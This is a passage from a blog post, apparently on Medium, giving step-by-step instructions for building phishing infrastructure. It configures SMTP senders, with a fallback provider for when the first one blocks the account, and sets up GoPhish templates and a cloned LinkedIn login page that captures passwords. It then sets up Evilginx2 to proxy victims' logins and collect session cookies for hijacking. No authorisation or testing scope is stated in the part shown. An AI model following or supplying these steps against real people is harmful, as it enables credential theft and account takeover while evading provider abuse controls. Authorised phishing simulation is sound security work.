src="https://cdn-images-1.medium.com/max/723/1*v8vkHY66L7O7f0QHiz2Zag.png" /></figure><ul><li>Navigate to your hosted domain on AWS console and add those TXT records.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xb3wdmMv5mEQDYifPSemzw.png" /></figure><ul><li>Once added you need to verify them in the Sendinblue post which your phishing domain will be successfully authenticated.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s9BaXFXraqpC3dlY1VhIqQ.png" /></figure><ul><li>Now the next action is to create a sender for which to need to navigate back to “<em>Senders</em>” and click on<em> add a new sender</em> and provide its necessary details after which sender will be successfully added.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*6oNzJBh2TX0ZdpAXJJQQ5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzF-Swv5lHd2hP1ZyhQtqQ.png" /></figure><ul><li>Now the next action is to integrate Sendinblue with GoPhish</li><li>First login to GoPhish on its IP and port 3333 with creds “admin:gophish”</li><li>Once logged in you will be asked to reset the password post which you’ll land on its homepage.</li><li>Now you need to create a “<em>Sending Profile</em>” which can be located on the left side panel.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*P0uZeLj2aaGUSsPZe9H8yQ.png" /></figure><ul><li>Select “<em>New Profile</em>” and provide the below details:</li><li>Name: Any name as per your choice</li><li>From: Your Phishing Email ID</li><li>Host, Username and Password which you need to gather from Sendinblue using the below steps:</li><li>Navigate to “SMTP API” &gt; SMTP &gt; Create a new SMTP Key</li><li>Provide a name to it as per your choice and click on generate.</li><li>You will be provided with SMTP Key which needs to be used as “<em>Password</em>” under Sender Profile in GoPhish</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*0nF9ctKflLvi0dzRNKyvTA.png" /></figure><ul><li>Once done, send a test mail that confirms whether the details have been added correctly on GoPhish.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*OzAUzHcHxZenrNbqUcVq8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*0HKhQna3KG8yFRa_Qn3K3A.png" /></figure><h3>Alternative: DuoCircle</h3><ul><li>One may encounter some scenarios that after sending several phishing emails, Sendinblue blocks your account.</li><li>In such a case, try using DuoCircle by navigating to the <a href="https://www.duocircle.com/email/outbound-smtp">link </a>and selecting “Get Outbound SMTP Now”</li><li>Create your SMTP username and password and fill in your necessary details to get your account created.</li><li>Post this you’ll receive an email confirmation along with SMTP server hostname, port, username, and password.</li><li>Then log in to your account and register your domain by selecting “Outbound SMTP” &gt; Configuration &gt; Sender Domain</li><li>Click on “<em>Add Domain</em>”, enter your domain and click on save.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tVpd7xhCQ9C2PK_foryLbg.png" /></figure><ul><li>Once you save the domain, you need to verify.</li><li>First, enable the SPF option which in turn generates an SPF record.</li><li>Add this record as a TXT record on your hosted domains in the AWS console.</li><li>Once done, select verify SPF record after which your phishing domain will be verified.</li><li>As the next action, login to the GoPhish server and enter your respective SMTP details gathered from the email sent by DuoCircle.</li></ul><p><strong>Step 3: Configure GoPhish for sending Phishing mails</strong></p><ul><li>Now the next step is to create an email template that will be used for sending multiple phishing emails at once.</li><li>To implement the same, navigate to “Email Templates” under GoPhish and click on “New Template”</li><li>Provide template name and a phishing subject line and click on Import Email.</li><li>Now open any phishing email on a notepad, copy all its content and paste them under “Email Content”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*xnLc-plMHdWWQChAA-mmQw.png" /></figure><ul><li>Replace the individual from the mail to {{.FirstName}}{{.LastName}}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*Os-Js4shoaG6bavwOEfGqQ.png" /></figure><ul><li>There will be links inside the mail that needs to be replaced with your phishing domain and can be viewed by selecting <em>links</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*JIUi3HvAVx5bfv_giD2Vbw.png" /></figure><ul><li>Now you need to configure your landing page which the user will be directed to; when they click on links on your phishing mail.</li><li>Here one can call the exact login page of any portal, like LinkedIn’s, and capture submitted data which includes their creds.</li><li>Navigate to Landing Pages and select New Page</li><li>Provide and name to it and click on Import Site.</li><li>Here you may provide a link to the login page of a portal like: <a href="https://www.linkedin.com/login">https://www.linkedin.com/login</a></li><li>Select the check box for “Capture Submitted Data” and “Capture Passwords” and provide a Redirect link to the subscription page or home page of that domain like <a href="https://www.linkedin.com/">https://www.linkedin.com/</a></li><li>Click on save</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*JOCxTjQb0V7-FvTI1NaJEQ.png" /></figure><ul><li>The next action is to create Users &amp; Groups which can be leveraged to send your phishing mail to multiple accounts at once.</li><li>Navigate to<em> Users &amp; Groups &gt; New Group</em></li><li>Provide a name to it, add the recipient details and click on add</li><li>We may also import multiple users at once from an excel sheet.</li><li>Click on Save Changes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*bF6n-ow40tmJgu2epUXcOw.png" /></figure><ul><li>The next action is to create Campaigns that help to initiate your phishing mail.</li><li>Navigate to<em> Campaigns &gt; New Campaign</em></li><li>Provide it a name and select necessary details as below:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*x5HEdPP62Ef4lgto4rn-Sw.png" /></figure><ul><li>Once launched, the recipient will receive a phishing mail.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0AU5bJiLmRbyHDn0xj6IQ.png" /></figure><ul><li>If you click on the link, you’ll be redirected to phishing the domain.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*-J3vWh_WNUcD8pyZPpOViA.png" /></figure><ul><li>One may check the activity done on the mail by checking the statistics of the campaign.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VGFnB0Inm-CU6bfZZB16YA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*URWm1hoSU6rTRhv-NB9eKg.png" /></figure><h4>Integrating Gophish with EvilGinx</h4><ul><li>Unlike GoPhish, Evilginx2 is made to exactly replicate the entire website.</li><li>But there are a certain number of websites only that it can replicate like LinkedIn, Office365, etc.</li><li>Evilginx works as a forward proxy and allows the victim to have a seamless experience.</li><li>Due to this architecture, we can extract the complete HTTP packet and gather sensitive details like session cookies and replay them for session hijacking.</li></ul><p><strong>Step 1: Configuring Evilginx</strong></p><ul><li>Login to Evilginx IP via SSH as below:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*EwCGJMn12Hny72gYvT7dLQ.png" /></figure><ul><li>You may locate the Evilginx app under “/home/ec2-user/evilginx2/bin/evilginx”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*PdFLJfS12crIW5pF9ROJmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*p64hnm7qhTiyQ-JhQT5KtQ.png" /></figure><ul><li>Now we need to run this app and use phishlets utility under “/home/ec2-user/evilginx2/phishlets”</li><li>Command : sudo ./evilginx -p ../phishlets/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*lpS2zvJnPkIUTRh4axGLWA.png" /></figure><ul><li>One may notice the list of domains that it can replicate</li><li>Now run the config command and check the default configuration</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*DsI6Ap5gdSOkc6MgEG0SpQ.png" /></figure><ul><li>Here you’ll notice that the “domain” and “IP” are empty where you need to fill in your phishing domain and Evilginx IP respectively.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*t5A8Pw422BxgkmdHlJoC1Q.png" /></figure><ul><li>Now we need to select a phishlet, assign your phishing domain to it and enable that phishlet.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*Jsr2c_TkFOzGOj0CnqurIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*symd3uIHY781Ivu0jU1yWg.png" /></figure><ul><li>This process also helps us bind a server certificate to our phishing domain registered by LetsEncrypt which is already present in the trusted CA store for all the web browsers, thus preventing invalid CA SSL error.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*cqqcUN2xwByRUFXLh1YPSw.png" /></figure><ul><li>Enable proxy services using LinkedIn phishlet via below command and get the redirect URL.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*RQSpHn416PVY8coN-M4Wlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*NWK6A_2igukDvb5AvKPT6w.png" /></figure><ul><li>Use this URL under the Gophish Campaign and send the phishing mail.</li><li>Now when the user redirects to Evilginx, you can check the user session details and gathered sensitive details.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*yZKuNdYRZ0KKCltpbsLbQg.png" /></figure><ul><li>If the victim succeeds in login in, you may gather its session cookie and hijack the session.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdfd2be2c04" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>